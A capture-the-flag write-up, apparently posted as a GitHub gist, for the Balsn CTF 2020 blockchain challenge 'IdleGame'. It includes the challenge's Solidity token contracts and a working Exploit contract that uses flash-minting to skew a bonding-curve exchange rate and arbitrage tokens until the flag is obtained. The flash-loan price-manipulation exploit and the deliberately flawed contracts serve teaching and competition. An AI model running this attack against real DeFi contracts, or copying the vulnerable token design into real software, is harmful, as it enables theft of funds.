Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?

Balsn CTF 2020 - IdleGame

tags: blockchain

[name=whysw@PLUS]

Attachments

Attachments are uploaded on gist.

Challenge

   ____   ____    _____              
  /  _/__/ / /__ / ___/__ ___ _  ___ 
 _/ // _  / / -_) (_ / _ `/  ' \/ -_)
/___/\_,_/_/\__/\___/\_,_/_/_/_/\__/ 
                                     

All game contracts will be deployed on ** Ropsten Testnet **
Please follow the instructions below:

1. Create a game account
2. Deploy a game contract
3. Request for the flag

When you connect to server, you'll get an account in ropsten testnet. After you deposit some ETH to that account, you can deploy contract Setup(in IdleGame.sol) using menu 2. Then you should make contract Setup's variable-sendFlag- to true.

Token.sol

SafeMath

At first, it uses library SafeMath. This library implemented add, sub, mul, div, but additionally, it guarantees there is NO overflow in arithmetic operations.

ERC20

ERC20 standard is the most generally used token standard in ethereum smart contract. Thanks to SafeMath, it doesn't have overflow bugs.

FlashERC20

It has flashMint function, which lends me some money and immediately take back. In IBorrower(msg.sender).executeOnFlashMint(amount);, the execution flow is switched to the caller's executeOnFlashMint function.

ContinuousToken

I read this article(korean) to get information about continuous token. To summarize, continuous token's value(relatively to another money, in this case, BalsnToken) varys depends on BancorBondingCurve.

IdleGame.sol

BalsnToken

It is simple ERC20 token contract, but it has function giveMeMoney, that gives us Free 1 BalsnToken.

IdleGame

This is also basically ERC20 token, but it inherits FlashERC20 and ContinuousToken. GamePoint is the new token, which has flashMint function. Moreover, it can be bought using Balsn Token, and sold to Balsn Token. The exchange rate between them is determined by BondingCurve with given reserveRatio.

Setup

It creates BSN token and IDL token. The reserve ratio is 999000(ppm) = 99.90%. We should call giveMeFlag function to set SendFlag variable true, but it is only allowed to IDL contract which this contract generated in the constructor. So if there is no serious functional flaw, we should call IDL.giveMeFlag() first. (which requires (10 ** 8) * scale IDL.(scale is 10 ** 18))

Solution

giveMeMoney

Nobody gives free money, but BSN token DOES!

    function giveMeMoney() public {
        require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
        _mint(msg.sender, 1);
    }

So I tried...

  1. get free money using BSN.giveMeMoney()
  2. exchage 1 BSN token to IDL token, using IDL.buyGamePoints(1) (do not forget to increase allowance from your address to IDL contract address)
  3. Repeat!

But with 1 BSN token, you could receive only 36258700 IDL.

>>> 10**26 / 36258700
2.7579587795480806e+18

umm... you could try it, but I found another way.


levelUp -> getReward

    function getReward() public returns (uint) {
        uint points = block.timestamp.sub(startTime[msg.sender]);
        points = points.add(level[msg.sender]).mul(points);
        _mint(msg.sender, points);
        startTime[msg.sender] = block.timestamp;
        return points;
    }
    
    function levelUp() public {
        _burn(msg.sender, level[msg.sender]);
        level[msg.sender] = level[msg.sender].add(1);
    }

When you pay same amount of IDL token with your level, then you could level up. The higher your level is, the more you get(getReward). It calculates timestamp**2 + timestamp*level.

But timestamp is too small compared to the goal, 10**26.

>>> time = 1605943620
>>> flag = 10 ** 26
>>> (flag - time**2)/time
6.226868501208348e+16
>>> level = (flag - time**2)/time
>>> (level+1)*level/2
1.9386945665670348e+33

It costs more than just calling giveMeMoney :(


Continuous & FlashMintable

After above trials, I thought that there would be some exploitable things that results from two characteristics of Idle Game Token, FlashMint and Continuous.

I read bZx Hack Analysis: Smart use of DeFi legos. | Mudit Gupta's Blog. This article is about how FlashLoan property of the token can be a vulnerable point. The important point is that When the value of Flash Minted Token changes dramatically, it will cause change of balance, even after flash-loaned token is returned.

This reminded me the fact that continuous token's value varys according to the total supply.


Test : does the exchange rate of BSN token and IDL token change, as totalSupply changes?

To test this, I flash-mint 10**30IDL, and checked calculateContinuousBurnReturn(1).

before flash-mint

during flash-mint

Because this is flash-mint, it returns to normal when the flash-mint value is burnt.


exploit scenario

pragma solidity =0.5.17;

import "./Tokens.sol";
import "./IdleGame.sol";

contract Exploit is IBorrower {
    BalsnToken public BSN;
    IdleGame public IDL;
    uint public foronemint;
    uint public foroneburn;
    
    constructor() public {
        BSN = BalsnToken(0x927Be6055D91C328726995058eCa018b88B5282d);
        IDL = IdleGame(0x8380580A1AD5f5dC78b82e0a1461D48FCbD7afb3);
        incAllow();
    }
    
    function getToken() public view returns (uint) {
        return BSN.balanceOf(address(this));
    }
    
    function getGP() public view returns (uint) {
        return IDL.balanceOf(address(this));
    }
    
    function getLevel() public view returns (uint) {
        return IDL.level(address(this));
    }


    function _takeMoney() internal {
        BSN.giveMeMoney();
    }
    
    function _levelUp() internal {
        IDL.levelUp();
    }
    
    function incAllow() internal {
        BSN.increaseAllowance(address(IDL), uint(-1));
    }
    
    function buyGP(uint val) internal {
        IDL.buyGamePoints(val);
    }

    function buyAllGP() internal {
        if(getToken() > 0){
            buyGP(getToken());
        }
    }
    
    function sellGP(uint val) internal {
        IDL.sellGamePoints(val);
    }

    function sellAllGP() internal {
        if(getGP() > 0){
            sellGP(getGP());
        }
    }
    
    
    function levelUp() internal {
        uint level = IDL.level(address(this));
        for(uint gp = getGP(); gp<level; gp = getGP()){
            _takeMoney();
            buyGP(1);
        }
        _levelUp();
    }
    
    function LevelUp(uint trial) public {
        for(uint i=0; i<trial; i++){
            levelUp();
        }
    }
    

    function executeOnFlashMint(uint amount) external {
        buyAllGP();
    }

    function prepare() public {
        LevelUp(100);
        getReward();
        sellAllGP();
    }

    function attack(uint exp) public {
        IDL.flashMint(10**exp);
        sellAllGP();
    }

    function getReward() public {
        IDL.getReward();
    }
    
    function getFlag() public {
        IDL.giveMeFlag();
    }
}
  1. constructor() : make link to existing BSN and IDL token contract, and increase allowance for this contract to IDL contract.
  2. prepare() : levelUp to 100, and getReward. then sell All GamePoints to Balsn Token, to prepare attack.
  3. attack() : do flash-mint, and retrieve execution flow to out contract's executeOnFlashMint() function. As total supply of IDL token dramatically increased, we can get more IDL token with the same amount of BSN token. After that, the exchangeRate becomes normal because flash-mint IDL token burns. then sell all GamePoints to BSN token, to prepare another attack.
  4. After you attack several times, the amount of BSN token is enough to getFlag. However, to getFlag, we need to convert it to Game point. So you need to call executeOnFlashMint() function manually, to call buyAllGP(). (or set buyAllGP function as not internal :( this is my mistake)

  1. now you have MAAAAANY Game points! Go and call getFlag()!

after getFlag

   ____   ____    _____              
  /  _/__/ / /__ / ___/__ ___ _  ___ 
 _/ // _  / / -_) (_ / _ `/  ' \/ -_)
/___/\_,_/_/\__/\___/\_,_/_/_/_/\__/ 
                                     

All game contracts will be deployed on ** Ropsten Testnet **
Please follow the instructions below:

1. Create a game account
2. Deploy a game contract
3. Request for the flag

Input your choice: 3
Input your contract token: nxihL8FJF+anFIroGLpWSkHhrWh5b5TUzIvrf3fOsxSj/iC/LsXOpyKjMiXEJVyZIqxhUF+AF59ca/6P1nNGE8h10bO4wraEviVpYwt+VlOPmezf9sk9EXNsvbMAmck9EEu8PxMl4PWk48wvIjTaVJgrQOo8LAmte4FG5G8WCGMmM1zLyGdapchBTALOmC2jrfGh28ItkiIWfKtmANqsrA==

Congrats! Here is your flag: BALSN{Arb1tr4ge_wi7h_Fl45hMin7}

Comments

I am so pleased to see smart contract challenge again! Good to see unfamiliar token features, and the road to flag is reasonable I think :) Thank you for great challenge!

pragma solidity =0.5.17;
import "./Tokens.sol";
import "./IdleGame.sol";
contract Exploit is IBorrower {
BalsnToken public BSN;
IdleGame public IDL;
uint public foronemint;
uint public foroneburn;
constructor() public {
BSN = BalsnToken(0x927Be6055D91C328726995058eCa018b88B5282d);
IDL = IdleGame(0x8380580A1AD5f5dC78b82e0a1461D48FCbD7afb3);
incAllow();
}
function getToken() public view returns (uint) {
return BSN.balanceOf(address(this));
}
function getGP() public view returns (uint) {
return IDL.balanceOf(address(this));
}
function getLevel() public view returns (uint) {
return IDL.level(address(this));
}
function _takeMoney() internal {
BSN.giveMeMoney();
}
function _levelUp() internal {
IDL.levelUp();
}
function incAllow() internal {
BSN.increaseAllowance(address(IDL), uint(-1));
}
function buyGP(uint val) internal {
IDL.buyGamePoints(val);
}
function buyAllGP() internal {
if(getToken() > 0){
buyGP(getToken());
}
}
function sellGP(uint val) internal {
IDL.sellGamePoints(val);
}
function sellAllGP() internal {
if(getGP() > 0){
sellGP(getGP());
}
}
function levelUp() internal {
uint level = IDL.level(address(this));
for(uint gp = getGP(); gp<level; gp = getGP()){
_takeMoney();
buyGP(1);
}
_levelUp();
}
function LevelUp(uint trial) public {
for(uint i=0; i<trial; i++){
levelUp();
}
}
function executeOnFlashMint(uint amount) external {
buyAllGP();
}
function prepare() public {
LevelUp(100);
getReward();
sellAllGP();
}
function attack(uint exp) public {
IDL.flashMint(10**exp);
sellAllGP();
}
function getReward() public {
IDL.getReward();
}
function getFlag() public {
IDL.giveMeFlag();
}
}
pragma solidity =0.5.17;
import "./Tokens.sol";
contract BalsnToken is ERC20 {
uint randomNumber = 0;
address public owner;
constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {
owner = msg.sender;
_mint(msg.sender, initialValue);
}
function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
}
}
contract IdleGame is FlashERC20, ContinuousToken {
uint randomNumber = 0;
address public owner;
BalsnToken public BSN;
mapping(address => uint) public startTime;
mapping(address => uint) public level;
constructor (address BSNAddr, uint32 reserveRatio) public ContinuousToken(reserveRatio) ERC20("IdleGame", "IDL") {
owner = msg.sender;
BSN = BalsnToken(BSNAddr);
_mint(msg.sender, 0x9453 * scale);
}
function getReward() public returns (uint) {
uint points = block.timestamp.sub(startTime[msg.sender]);
points = points.add(level[msg.sender]).mul(points);
_mint(msg.sender, points);
startTime[msg.sender] = block.timestamp;
return points;
}
function levelUp() public {
_burn(msg.sender, level[msg.sender]);
level[msg.sender] = level[msg.sender].add(1);
}
function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount);
BSN.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, bought);
return bought;
}
function sellGamePoints(uint amount) public returns (uint) {
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
return bought;
}
function giveMeFlag() public {
_burn(msg.sender, (10 ** 8) * scale);
Setup(owner).giveMeFlag();
}
}
contract Setup {
uint randomNumber = 0;
bool public sendFlag = false;
BalsnToken public BSN;
IdleGame public IDL;
constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue);
IDL = new IdleGame(address(BSN), 999000);
BSN.approve(address(IDL), uint(-1));
IDL.buyGamePoints(initialValue);
}
function giveMeFlag() public {
require(msg.sender == address(IDL), "Setup: sender incorrect");
sendFlag = true;
}
}
pragma solidity =0.5.17;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Modified from the original
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol
*/
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
* Modified from the original
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
*/
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @dev Implementation of the IERC20 interface.
* Modified from the original
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint;
string private _name;
string private _symbol;
uint8 private _decimals;
uint private _totalSupply;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
/**
* @dev Modified from the original
* https://github.com/Austin-Williams/flash-mintable-tokens/blob/master/FlashERC20/FlashERC20.sol
*/
interface IBorrower {
function executeOnFlashMint(uint amount) external;
}
contract FlashERC20 is ERC20 {
event FlashMint(address to, uint amount);
function flashMint(uint amount) external {
_mint(msg.sender, amount);
IBorrower(msg.sender).executeOnFlashMint(amount);
_burn(msg.sender, amount);
emit FlashMint(msg.sender, amount);
}
}
/**
* @dev Modified from the original
* https://github.com/yosriady/continuous-token/blob/master/contracts/token/ContinuousToken.sol
*/
interface BancorBondingCurve {
function calculatePurchaseReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _depositAmount) external view returns (uint);
function calculateSaleReturn(uint _supply, uint _reserveBalance, uint32 _reserveRatio, uint _sellAmount) external view returns (uint);
}
contract ContinuousToken is ERC20 {
using SafeMath for uint;
BancorBondingCurve public constant BBC = BancorBondingCurve(0xF88212805fE6e37181DE56440CF350817FF87130);
uint public scale = 10 ** 18;
uint public reserveBalance = 10 ** 15;
uint32 public reserveRatio;
event ContinuousMint(address sender, uint amount, uint deposit);
event ContinuousBurn(address sender, uint amount, uint reimbursement);
constructor(uint32 _reserveRatio) public {
reserveRatio = _reserveRatio;
}
function calculateContinuousMintReturn(uint _amount) public view returns (uint mintAmount) {
return BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
}
function calculateContinuousBurnReturn(uint _amount) public view returns (uint burnAmount) {
return BBC.calculateSaleReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
}
function _continuousMint(uint _deposit) internal returns (uint) {
require(_deposit > 0, "ContinuousToken: Deposit must be non-zero.");
uint amount = calculateContinuousMintReturn(_deposit);
reserveBalance = reserveBalance.add(_deposit);
emit ContinuousMint(msg.sender, amount, _deposit);
return amount;
}
function _continuousBurn(uint _amount) internal returns (uint) {
require(_amount > 0, "ContinuousToken: Amount must be non-zero.");
uint reimburseAmount = calculateContinuousBurnReturn(_amount);
reserveBalance = reserveBalance.sub(reimburseAmount);
emit ContinuousBurn(msg.sender, _amount, reimburseAmount);
return reimburseAmount;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment